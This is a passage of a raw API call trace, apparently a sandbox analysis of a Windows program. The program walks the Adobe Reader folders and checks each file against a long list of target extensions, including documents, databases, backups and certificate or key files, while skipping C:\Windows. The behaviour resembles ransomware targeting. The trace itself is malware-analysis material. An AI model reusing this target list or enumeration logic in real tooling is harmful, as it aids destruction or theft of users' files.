(lpString1=".mpg", lpString2=".otf") returned -1 [0276.750] lstrlenW (lpString=".mpv") returned 4 [0276.750] lstrcmpiW (lpString1=".mpv", lpString2=".otf") returned -1 [0276.751] lstrlenW (lpString=".mrw") returned 4 [0276.751] lstrcmpiW (lpString1=".mrw", lpString2=".otf") returned -1 [0276.751] lstrlenW (lpString=".msg") returned 4 [0276.751] lstrcmpiW (lpString1=".msg", lpString2=".otf") returned -1 [0276.751] lstrlenW (lpString=".mxl") returned 4 [0276.751] lstrcmpiW (lpString1=".mxl", lpString2=".otf") returned -1 [0276.751] lstrlenW (lpString=".myd") returned 4 [0276.751] lstrcmpiW (lpString1=".myd", lpString2=".otf") returned -1 [0276.751] lstrlenW (lpString=".myi") returned 4 [0276.751] lstrcmpiW (lpString1=".myi", lpString2=".otf") returned -1 [0276.751] lstrlenW (lpString=".nef") returned 4 [0276.751] lstrcmpiW (lpString1=".nef", lpString2=".otf") returned -1 [0276.752] lstrlenW (lpString=".nrw") returned 4 [0276.752] lstrcmpiW (lpString1=".nrw", lpString2=".otf") returned -1 [0276.752] lstrlenW (lpString=".obj") returned 4 [0276.752] lstrcmpiW (lpString1=".obj", lpString2=".otf") returned -1 [0276.752] lstrlenW (lpString=".odb") returned 4 [0276.752] lstrcmpiW (lpString1=".odb", lpString2=".otf") returned -1 [0276.752] lstrlenW (lpString=".odc") returned 4 [0276.752] lstrcmpiW (lpString1=".odc", lpString2=".otf") returned -1 [0276.752] lstrlenW (lpString=".odm") returned 4 [0276.752] lstrcmpiW (lpString1=".odm", lpString2=".otf") returned -1 [0276.752] lstrlenW (lpString=".odp") returned 4 [0276.752] lstrcmpiW (lpString1=".odp", lpString2=".otf") returned -1 [0276.753] lstrlenW (lpString=".ods") returned 4 [0276.753] lstrcmpiW (lpString1=".ods", lpString2=".otf") returned -1 [0276.753] lstrlenW (lpString=".oft") returned 4 [0276.753] lstrcmpiW (lpString1=".oft", lpString2=".otf") returned -1 [0276.753] lstrlenW (lpString=".one") returned 4 [0276.753] lstrcmpiW (lpString1=".one", lpString2=".otf") returned -1 [0276.753] lstrlenW (lpString=".onepkg") returned 7 [0276.753] lstrcmpiW (lpString1=".onepkg", lpString2="old.otf") returned -1 [0276.754] lstrlenW (lpString=".onetoc2") returned 8 [0276.754] lstrcmpiW (lpString1=".onetoc2", lpString2="Bold.otf") returned -1 [0276.754] lstrlenW (lpString=".opt") returned 4 [0276.754] lstrcmpiW (lpString1=".opt", lpString2=".otf") returned -1 [0276.754] lstrlenW (lpString=".oqy") returned 4 [0276.754] lstrcmpiW (lpString1=".oqy", lpString2=".otf") returned -1 [0276.755] lstrlenW (lpString=".orf") returned 4 [0276.755] lstrcmpiW (lpString1=".orf", lpString2=".otf") returned -1 [0276.755] lstrlenW (lpString=".p12") returned 4 [0276.755] lstrcmpiW (lpString1=".p12", lpString2=".otf") returned 1 [0276.755] lstrlenW (lpString=".p7b") returned 4 [0276.755] lstrcmpiW (lpString1=".p7b", lpString2=".otf") returned 1 [0276.755] lstrlenW (lpString=".p7c") returned 4 [0276.755] lstrcmpiW (lpString1=".p7c", lpString2=".otf") returned 1 [0276.755] lstrlenW (lpString=".pam") returned 4 [0276.755] lstrcmpiW (lpString1=".pam", lpString2=".otf") returned 1 [0276.755] lstrlenW (lpString=".pbm") returned 4 [0276.755] lstrcmpiW (lpString1=".pbm", lpString2=".otf") returned 1 [0276.756] lstrlenW (lpString=".pct") returned 4 [0276.756] lstrcmpiW (lpString1=".pct", lpString2=".otf") returned 1 [0276.756] lstrlenW (lpString=".pcx") returned 4 [0276.756] lstrcmpiW (lpString1=".pcx", lpString2=".otf") returned 1 [0276.756] lstrlenW (lpString=".pdd") returned 4 [0276.756] lstrcmpiW (lpString1=".pdd", lpString2=".otf") returned 1 [0276.756] lstrlenW (lpString=".pdf") returned 4 [0276.756] lstrcmpiW (lpString1=".pdf", lpString2=".otf") returned 1 [0276.756] lstrlenW (lpString=".pdp") returned 4 [0276.756] lstrcmpiW (lpString1=".pdp", lpString2=".otf") returned 1 [0276.756] lstrlenW (lpString=".pef") returned 4 [0276.756] lstrcmpiW (lpString1=".pef", lpString2=".otf") returned 1 [0276.757] lstrlenW (lpString=".pem") returned 4 [0276.757] lstrcmpiW (lpString1=".pem", lpString2=".otf") returned 1 [0276.757] lstrlenW (lpString=".pff") returned 4 [0276.757] lstrcmpiW (lpString1=".pff", lpString2=".otf") returned 1 [0276.757] lstrlenW (lpString=".pfm") returned 4 [0276.757] lstrcmpiW (lpString1=".pfm", lpString2=".otf") returned 1 [0276.757] lstrlenW (lpString=".pfx") returned 4 [0276.757] lstrcmpiW (lpString1=".pfx", lpString2=".otf") returned 1 [0276.757] lstrlenW (lpString=".pgm") returned 4 [0276.757] lstrcmpiW (lpString1=".pgm", lpString2=".otf") returned 1 [0276.757] lstrlenW (lpString=".php") returned 4 [0276.758] lstrcmpiW (lpString1=".php", lpString2=".otf") returned 1 [0276.758] lstrlenW (lpString=".php3") returned 5 [0276.758] lstrcmpiW (lpString1=".php3", lpString2="d.otf") returned -1 [0276.758] lstrlenW (lpString=".php4") returned 5 [0276.758] lstrcmpiW (lpString1=".php4", lpString2="d.otf") returned -1 [0276.758] lstrlenW (lpString=".php5") returned 5 [0276.758] lstrcmpiW (lpString1=".php5", lpString2="d.otf") returned -1 [0276.758] lstrlenW (lpString=".phtml") returned 6 [0276.758] lstrcmpiW (lpString1=".phtml", lpString2="ld.otf") returned -1 [0276.758] lstrlenW (lpString=".pict") returned 5 [0276.758] lstrcmpiW (lpString1=".pict", lpString2="d.otf") returned -1 [0276.758] lstrlenW (lpString=".pl") returned 3 [0276.758] lstrcmpiW (lpString1=".pl", lpString2="otf") returned -1 [0276.758] lstrlenW (lpString=".pls") returned 4 [0276.759] lstrcmpiW (lpString1=".pls", lpString2=".otf") returned 1 [0276.759] lstrlenW (lpString=".pm") returned 3 [0276.759] lstrcmpiW (lpString1=".pm", lpString2="otf") returned -1 [0276.759] lstrlenW (lpString=".png") returned 4 [0276.759] lstrcmpiW (lpString1=".png", lpString2=".otf") returned 1 [0276.759] lstrlenW (lpString=".pnm") returned 4 [0276.759] lstrcmpiW (lpString1=".pnm", lpString2=".otf") returned 1 [0276.759] lstrlenW (lpString=".pot") returned 4 [0276.759] lstrcmpiW (lpString1=".pot", lpString2=".otf") returned 1 [0276.759] lstrlenW (lpString=".potm") returned 5 [0276.759] lstrcmpiW (lpString1=".potm", lpString2="d.otf") returned -1 [0276.759] lstrlenW (lpString=".potx") returned 5 [0276.760] lstrcmpiW (lpString1=".potx", lpString2="d.otf") returned -1 [0276.760] lstrlenW (lpString=".ppa") returned 4 [0276.760] lstrcmpiW (lpString1=".ppa", lpString2=".otf") returned 1 [0276.760] lstrlenW (lpString=".ppam") returned 5 [0276.760] lstrcmpiW (lpString1=".ppam", lpString2="d.otf") returned -1 [0276.760] lstrlenW (lpString=".ppm") returned 4 [0276.760] lstrcmpiW (lpString1=".ppm", lpString2=".otf") returned 1 [0276.760] lstrlenW (lpString=".pps") returned 4 [0276.760] lstrcmpiW (lpString1=".pps", lpString2=".otf") returned 1 [0276.760] lstrlenW (lpString=".ppsm") returned 5 [0276.760] lstrcmpiW (lpString1=".ppsm", lpString2="d.otf") returned -1 [0276.760] lstrlenW (lpString=".ppt") returned 4 [0276.761] lstrcmpiW (lpString1=".ppt", lpString2=".otf") returned 1 [0276.761] lstrlenW (lpString=".pptm") returned 5 [0276.761] lstrcmpiW (lpString1=".pptm", lpString2="d.otf") returned -1 [0276.761] lstrlenW (lpString=".pptx") returned 5 [0276.761] lstrcmpiW (lpString1=".pptx", lpString2="d.otf") returned -1 [0276.761] lstrlenW (lpString=".prn") returned 4 [0276.761] lstrcmpiW (lpString1=".prn", lpString2=".otf") returned 1 [0276.761] lstrlenW (lpString=".ps") returned 3 [0276.761] lstrcmpiW (lpString1=".ps", lpString2="otf") returned -1 [0276.761] lstrlenW (lpString=".psb") returned 4 [0276.761] lstrcmpiW (lpString1=".psb", lpString2=".otf") returned 1 [0276.762] lstrlenW (lpString=".psd") returned 4 [0276.762] lstrcmpiW (lpString1=".psd", lpString2=".otf") returned 1 [0276.762] lstrlenW (lpString=".pst") returned 4 [0276.762] lstrcmpiW (lpString1=".pst", lpString2=".otf") returned 1 [0276.762] lstrlenW (lpString=".ptx") returned 4 [0276.762] lstrcmpiW (lpString1=".ptx", lpString2=".otf") returned 1 [0276.762] lstrlenW (lpString=".pub") returned 4 [0276.762] lstrcmpiW (lpString1=".pub", lpString2=".otf") returned 1 [0276.762] lstrlenW (lpString=".pwm") returned 4 [0276.762] lstrcmpiW (lpString1=".pwm", lpString2=".otf") returned 1 [0276.762] lstrlenW (lpString=".pxr") returned 4 [0276.762] lstrcmpiW (lpString1=".pxr", lpString2=".otf") returned 1 [0276.762] lstrlenW (lpString=".py") returned 3 [0276.763] lstrcmpiW (lpString1=".py", lpString2="otf") returned -1 [0276.763] lstrlenW (lpString=".qt") returned 3 [0276.763] lstrcmpiW (lpString1=".qt", lpString2="otf") returned -1 [0276.763] lstrlenW (lpString=".r3d") returned 4 [0276.763] lstrcmpiW (lpString1=".r3d", lpString2=".otf") returned 1 [0276.763] lstrlenW (lpString=".raf") returned 4 [0276.763] lstrcmpiW (lpString1=".raf", lpString2=".otf") returned 1 [0276.763] lstrlenW (lpString=".rar") returned 4 [0276.763] lstrcmpiW (lpString1=".rar", lpString2=".otf") returned 1 [0276.763] lstrlenW (lpString=".raw") returned 4 [0276.763] lstrcmpiW (lpString1=".raw", lpString2=".otf") returned 1 [0280.338] FindNextFileW (in: hFindFile=0x6243c0, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834dd660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x838234a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x838234a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0280.338] FindNextFileW (in: hFindFile=0x6243c0, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x838234a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x37c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="ctl_gb18030.cnv", cAlternateFileName="CTL_GB~1.CNV")) returned 1 [0280.343] lstrcmpiW (lpString1=".1cd", lpString2=".cnv") returned -1 [0280.344] lstrcmpiW (lpString1=".3ds", lpString2=".cnv") returned -1 [0280.344] lstrcmpiW (lpString1=".3fr", lpString2=".cnv") returned -1 [0280.344] lstrcmpiW (lpString1=".3g2", lpString2=".cnv") returned -1 [0280.344] lstrcmpiW (lpString1=".3gp", lpString2=".cnv") returned -1 [0280.345] lstrcmpiW (lpString1=".7z", lpString2="cnv") returned -1 [0280.345] lstrcmpiW (lpString1=".accda", lpString2="30.cnv") returned -1 [0280.345] lstrcmpiW (lpString1=".accdb", lpString2="30.cnv") returned -1 [0280.345] lstrcmpiW (lpString1=".accdc", lpString2="30.cnv") returned -1 [0280.346] lstrcmpiW (lpString1=".accde", lpString2="30.cnv") returned -1 [0280.346] lstrcmpiW (lpString1=".accdt", lpString2="30.cnv") returned -1 [0280.346] lstrcmpiW (lpString1=".accdw", lpString2="30.cnv") returned -1 [0280.346] lstrcmpiW (lpString1=".adb", lpString2=".cnv") returned -1 [0280.347] lstrcmpiW (lpString1=".adp", lpString2=".cnv") returned -1 [0280.347] lstrcmpiW (lpString1=".ai", lpString2="cnv") returned -1 [0280.347] lstrcmpiW (lpString1=".ai3", lpString2=".cnv") returned -1 [0280.347] lstrcmpiW (lpString1=".ai4", lpString2=".cnv") returned -1 [0280.347] lstrcmpiW (lpString1=".ai5", lpString2=".cnv") returned -1 [0280.348] lstrcmpiW (lpString1=".ai6", lpString2=".cnv") returned -1 [0280.348] lstrcmpiW (lpString1=".ai7", lpString2=".cnv") returned -1 [0280.348] lstrcmpiW (lpString1=".ai8", lpString2=".cnv") returned -1 [0280.348] lstrcmpiW (lpString1=".anim", lpString2="0.cnv") returned -1 [0280.349] lstrcmpiW (lpString1=".arw", lpString2=".cnv") returned -1 [0280.349] lstrcmpiW (lpString1=".as", lpString2="cnv") returned -1 [0280.350] lstrcmpiW (lpString1=".asa", lpString2=".cnv") returned -1 [0280.351] lstrcmpiW (lpString1=".asc", lpString2=".cnv") returned -1 [0280.351] lstrcmpiW (lpString1=".ascx", lpString2="0.cnv") returned -1 [0280.351] lstrcmpiW (lpString1=".asm", lpString2=".cnv") returned -1 [0280.351] lstrcmpiW (lpString1=".asmx", lpString2="0.cnv") returned -1 [0280.351] lstrcmpiW (lpString1=".asp", lpString2=".cnv") returned -1 [0280.352] lstrcmpiW (lpString1=".aspx", lpString2="0.cnv") returned -1 [0280.352] lstrcmpiW (lpString1=".asr", lpString2=".cnv") returned -1 [0280.353] lstrcmpiW (lpString1=".asx", lpString2=".cnv") returned -1 [0280.353] lstrcmpiW (lpString1=".avi", lpString2=".cnv") returned -1 [0280.353] lstrcmpiW (lpString1=".avs", lpString2=".cnv") returned -1 [0280.353] lstrcmpiW (lpString1=".backup", lpString2="030.cnv") returned -1 [0280.354] lstrcmpiW (lpString1=".bak", lpString2=".cnv") returned -1 [0280.355] lstrcmpiW (lpString1=".bay", lpString2=".cnv") returned -1 [0280.355] lstrcmpiW (lpString1=".bd", lpString2="cnv") returned -1 [0280.355] lstrcmpiW (lpString1=".bin", lpString2=".cnv") returned -1 [0280.355] lstrcmpiW (lpString1=".bmp", lpString2=".cnv") returned -1 [0280.355] lstrcmpiW (lpString1=".bz2", lpString2=".cnv") returned -1 [0280.356] lstrcmpiW (lpString1=".c", lpString2="nv") returned -1 [0280.356] lstrcmpiW (lpString1=".cdr", lpString2=".cnv") returned -1 [0280.356] lstrcmpiW (lpString1=".cer", lpString2=".cnv") returned -1 [0280.356] lstrcmpiW (lpString1=".cf", lpString2="cnv") returned -1 [0280.356] lstrcmpiW (lpString1=".cfc", lpString2=".cnv") returned -1 [0280.357] lstrcmpiW (lpString1=".cfm", lpString2=".cnv") returned -1 [0280.357] lstrcmpiW (lpString1=".cfml", lpString2="0.cnv") returned -1 [0280.357] lstrcmpiW (lpString1=".cfu", lpString2=".cnv") returned -1 [0280.357] lstrcmpiW (lpString1=".chm", lpString2=".cnv") returned -1 [0280.358] lstrcmpiW (lpString1=".cin", lpString2=".cnv") returned -1 [0280.358] lstrcmpiW (lpString1=".class", lpString2="30.cnv") returned -1 [0280.358] lstrcmpiW (lpString1=".clx", lpString2=".cnv") returned -1 [0280.358] lstrcmpiW (lpString1=".config", lpString2="030.cnv") returned -1 [0280.359] lstrcmpiW (lpString1=".cpp", lpString2=".cnv") returned 1 [0280.359] lstrcmpiW (lpString1=".cr2", lpString2=".cnv") returned 1 [0280.359] lstrcmpiW (lpString1=".crt", lpString2=".cnv") returned 1 [0280.359] lstrcmpiW (lpString1=".crw", lpString2=".cnv") returned 1 [0280.360] lstrcmpiW (lpString1=".cs", lpString2="cnv") returned -1 [0280.361] lstrcmpiW (lpString1=".css", lpString2=".cnv") returned 1 [0280.361] lstrcmpiW (lpString1=".csv", lpString2=".cnv") returned 1 [0280.361] lstrcmpiW (lpString1=".cub", lpString2=".cnv") returned 1 [0280.361] lstrcmpiW (lpString1=".dae", lpString2=".cnv") returned 1 [0280.361] lstrcmpiW (lpString1=".dat", lpString2=".cnv") returned 1 [0280.362] lstrcmpiW (lpString1=".db", lpString2="cnv") returned -1 [0280.363] lstrcmpiW (lpString1=".dbf", lpString2=".cnv") returned 1 [0280.363] lstrcmpiW (lpString1=".dbx", lpString2=".cnv") returned 1 [0280.363] lstrcmpiW (lpString1=".dc3", lpString2=".cnv") returned 1 [0280.363] lstrcmpiW (lpString1=".dcm", lpString2=".cnv") returned 1 [0280.363] lstrcmpiW (lpString1=".dcr", lpString2=".cnv") returned 1 [0280.364] lstrcmpiW (lpString1=".der", lpString2=".cnv") returned 1 [0280.364] lstrcmpiW (lpString1=".dib", lpString2=".cnv") returned 1 [0280.364] lstrcmpiW (lpString1=".dic", lpString2=".cnv") returned 1 [0280.364] lstrcmpiW (lpString1=".dif", lpString2=".cnv") returned 1 [0280.364] lstrcmpiW (lpString1=".divx", lpString2="0.cnv") returned -1 [0280.364] lstrcmpiW (lpString1=".djvu", lpString2="0.cnv") returned -1 [0280.365] lstrcmpiW (lpString1=".dng", lpString2=".cnv") returned 1 [0280.365] lstrcmpiW (lpString1=".doc", lpString2=".cnv") returned 1 [0280.366] lstrcmpiW (lpString1=".docm", lpString2="0.cnv") returned -1 [0280.366] lstrcmpiW (lpString1=".docx", lpString2="0.cnv") returned -1 [0280.366] lstrcmpiW (lpString1=".dot", lpString2=".cnv") returned 1 [0280.366] lstrcmpiW (lpString1=".dotm", lpString2="0.cnv") returned -1 [0280.366] lstrcmpiW (lpString1=".dotx", lpString2="0.cnv") returned -1 [0280.366] lstrcmpiW (lpString1=".dpx", lpString2=".cnv") returned 1 [0280.367] lstrcmpiW (lpString1=".dqy", lpString2=".cnv") returned 1 [0280.367] lstrcmpiW (lpString1=".dsn", lpString2=".cnv") returned 1 [0280.367] lstrcmpiW (lpString1=".dt", lpString2="cnv") returned -1 [0280.367] lstrcmpiW (lpString1=".dtd", lpString2=".cnv") returned 1 [0280.367] lstrcmpiW (lpString1=".dwg", lpString2=".cnv") returned 1 [0280.367] lstrcmpiW (lpString1=".dwt", lpString2=".cnv") returned 1 [0280.368] lstrcmpiW (lpString1=".dx", lpString2="cnv") returned -1 [0280.368] lstrcmpiW (lpString1=".dxf", lpString2=".cnv") returned 1 [0280.368] lstrcmpiW (lpString1=".edml", lpString2="0.cnv") returned -1 [0280.368] lstrcmpiW (lpString1=".efd", lpString2=".cnv") returned 1 [0280.368] lstrcmpiW (lpString1=".elf", lpString2=".cnv") returned 1 [0280.368] lstrcmpiW (lpString1=".emf", lpString2=".cnv") returned 1 [0280.368] lstrcmpiW (lpString1=".emz", lpString2=".cnv") returned 1 [0280.368] lstrcmpiW (lpString1=".epf", lpString2=".cnv") returned 1 [0280.369] lstrcmpiW (lpString1=".eps", lpString2=".cnv") returned 1 [0280.369] lstrcmpiW (lpString1=".epsf", lpString2="0.cnv") returned -1 [0280.369] lstrcmpiW (lpString1=".epsp", lpString2="0.cnv") returned -1 [0280.369] lstrcmpiW (lpString1=".erf", lpString2=".cnv") returned 1 [0280.369] lstrcmpiW (lpString1=".exr", lpString2=".cnv") returned 1 [0280.369] lstrcmpiW (lpString1=".f4v", lpString2=".cnv") returned 1 [0280.370] lstrcmpiW (lpString1=".fido", lpString2="0.cnv") returned -1 [0280.370] lstrcmpiW (lpString1=".flm", lpString2=".cnv") returned 1 [0280.370] lstrcmpiW (lpString1=".flv", lpString2=".cnv") returned 1 [0280.370] lstrcmpiW (lpString1=".frm", lpString2=".cnv") returned 1 [0280.370] lstrcmpiW (lpString1=".fxg", lpString2=".cnv") returned 1 [0280.370] lstrcmpiW (lpString1=".geo", lpString2=".cnv") returned 1 [0280.370] lstrcmpiW (lpString1=".gif", lpString2=".cnv") returned 1 [0280.372] lstrcmpiW (lpString1=".grs", lpString2=".cnv") returned 1 [0280.372] lstrcmpiW (lpString1=".gz", lpString2="cnv") returned -1 [0280.372] lstrcmpiW (lpString1=".h", lpString2="nv") returned -1 [0280.373] lstrcmpiW (lpString1=".hdr", lpString2=".cnv") returned 1 [0280.373] lstrcmpiW (lpString1=".hpp", lpString2=".cnv") returned 1 [0280.373] lstrcmpiW (lpString1=".hta", lpString2=".cnv") returned 1 [0280.373] lstrcmpiW (lpString1=".htc", lpString2=".cnv") returned 1 [0280.373] lstrcmpiW (lpString1=".htm", lpString2=".cnv") returned 1 [0280.374] lstrcmpiW (lpString1=".html", lpString2="0.cnv") returned -1 [0280.374] lstrcmpiW (lpString1=".icb", lpString2=".cnv") returned 1 [0280.374] lstrcmpiW (lpString1=".ics", lpString2=".cnv") returned 1 [0280.374] lstrcmpiW (lpString1=".iff", lpString2=".cnv") returned 1 [0280.374] lstrcmpiW (lpString1=".inc", lpString2=".cnv") returned 1 [0280.374] lstrcmpiW (lpString1=".indd", lpString2="0.cnv") returned -1 [0280.374] lstrcmpiW (lpString1=".ini", lpString2=".cnv") returned 1 [0280.375] lstrcmpiW (lpString1=".iqy", lpString2=".cnv") returned 1 [0280.375] lstrcmpiW (lpString1=".j2c", lpString2=".cnv") returned 1 [0280.375] lstrcmpiW (lpString1=".j2k", lpString2=".cnv") returned 1 [0280.375] lstrcmpiW (lpString1=".java", lpString2="0.cnv") returned -1 [0280.375] lstrcmpiW (lpString1=".jp2", lpString2=".cnv") returned 1 [0280.375] lstrcmpiW (lpString1=".jpc", lpString2=".cnv") returned 1 [0280.375] lstrcmpiW (lpString1=".jpe", lpString2=".cnv") returned 1 [0280.376] lstrcmpiW (lpString1=".jpeg", lpString2="0.cnv") returned -1 [0280.376] lstrcmpiW (lpString1=".jpf", lpString2=".cnv") returned 1 [0280.376] lstrcmpiW (lpString1=".jpg", lpString2=".cnv") returned 1 [0280.376] lstrcmpiW (lpString1=".jpx", lpString2=".cnv") returned 1 [0280.376] lstrcmpiW (lpString1=".js", lpString2="cnv") returned -1 [0280.376] lstrcmpiW (lpString1=".jsf", lpString2=".cnv") returned 1 [0280.377] lstrcmpiW (lpString1=".json", lpString2="0.cnv") returned -1 [0280.377] lstrcmpiW (lpString1=".jsp", lpString2=".cnv") returned 1 [0280.377] lstrcmpiW (lpString1=".kdc", lpString2=".cnv") returned 1 [0280.377] lstrcmpiW (lpString1=".kmz", lpString2=".cnv") returned 1 [0280.377] lstrcmpiW (lpString1=".kwm", lpString2=".cnv") returned 1 [0280.377] lstrcmpiW (lpString1=".lasso", lpString2="30.cnv") returned -1 [0280.378] lstrcmpiW (lpString1=".lbi", lpString2=".cnv") returned 1 [0280.378] lstrcmpiW (lpString1=".lgf", lpString2=".cnv") returned 1 [0280.378] lstrcmpiW (lpString1=".lgp", lpString2=".cnv") returned 1 [0280.378] lstrcmpiW (lpString1=".log", lpString2=".cnv") returned 1 [0280.378] lstrcmpiW (lpString1=".m1v", lpString2=".cnv") returned 1 [0280.379] lstrcmpiW (lpString1=".m4a", lpString2=".cnv") returned 1 [0280.379] lstrcmpiW (lpString1=".m4v", lpString2=".cnv") returned 1 [0280.379] lstrcmpiW (lpString1=".max", lpString2=".cnv") returned 1 [0280.379] lstrcmpiW (lpString1=".md", lpString2="cnv") returned -1 [0280.379] lstrcmpiW (lpString1=".mda", lpString2=".cnv") returned 1 [0280.379] lstrcmpiW (lpString1=".mdb", lpString2=".cnv") returned 1 [0280.380] lstrcmpiW (lpString1=".mde", lpString2=".cnv") returned 1 [0280.380] lstrcmpiW (lpString1=".mdf", lpString2=".cnv") returned 1 [0280.380] lstrcmpiW (lpString1=".mdw", lpString2=".cnv") returned 1 [0280.380] lstrcmpiW (lpString1=".mef", lpString2=".cnv") returned 1 [0280.380] lstrcmpiW (lpString1=".mft", lpString2=".cnv") returned 1 [0280.380] lstrcmpiW (lpString1=".mfw", lpString2=".cnv") returned 1 [0280.381] lstrcmpiW (lpString1=".mht", lpString2=".cnv") returned 1 [0280.381] lstrcmpiW (lpString1=".mhtml", lpString2="30.cnv") returned -1 [0280.381] lstrcmpiW (lpString1=".mka", lpString2=".cnv") returned 1 [0280.381] lstrcmpiW (lpString1=".mkidx", lpString2="30.cnv") returned -1 [0280.381] lstrcmpiW (lpString1=".mkv", lpString2=".cnv") returned 1 [0280.382] lstrcmpiW (lpString1=".mos", lpString2=".cnv") returned 1 [0280.382] lstrcmpiW (lpString1=".mov", lpString2=".cnv") returned 1 [0280.382] lstrcmpiW (lpString1=".mp3", lpString2=".cnv") returned 1 [0280.382] lstrcmpiW (lpString1=".mp4", lpString2=".cnv") returned 1 [0280.382] lstrcmpiW (lpString1=".mpeg", lpString2="0.cnv") returned -1 [0280.383] lstrcmpiW (lpString1=".mpg", lpString2=".cnv") returned 1 [0281.040] FindNextFileW (in: hFindFile=0x6243c0, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x834dd660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x345f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="icudt26l.dat", cAlternateFileName="")) returned 1 [0281.042] FindClose (in: hFindFile=0x6243c0 | out: hFindFile=0x6243c0) returned 1 [0281.042] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x436dfe8 | out: hHeap=0x590000) returned 1 [0281.042] FindNextFileW (in: hFindFile=0x6244c0, lpFindFileData=0x38eee18 | out: lpFindFileData=0x38eee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x834450e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x834450e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mappings", cAlternateFileName="")) returned 1 [0281.043] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings") returned 78 [0281.043] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings") returned 1 [0281.043] lstrlenW (lpString="Mappings") returned 8 [0281.043] lstrcmpiW (lpString1="C:\\Windows", lpString2="Mappings") returned -1 [0281.043] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xfffe) returned 0x436dfe8 [0281.044] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings") returned 78 [0281.044] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\*", lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x834450e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x834450e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6243c0 [0281.044] FindNextFileW (in: hFindFile=0x6243c0, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x834450e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x834450e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0281.044] FindNextFileW (in: hFindFile=0x6243c0, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834450e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83849600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83849600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0281.044] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe") returned 84 [0281.044] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe") returned 1 [0281.045] lstrlenW (lpString="Adobe") returned 5 [0281.045] lstrcmpiW (lpString1="C:\\Windows", lpString2="Adobe") returned 1 [0281.045] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xfffe) returned 0x439e000 [0281.046] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe") returned 84 [0281.046] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\*", lpFindFileData=0x38ee920 | out: lpFindFileData=0x38ee920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834450e0, 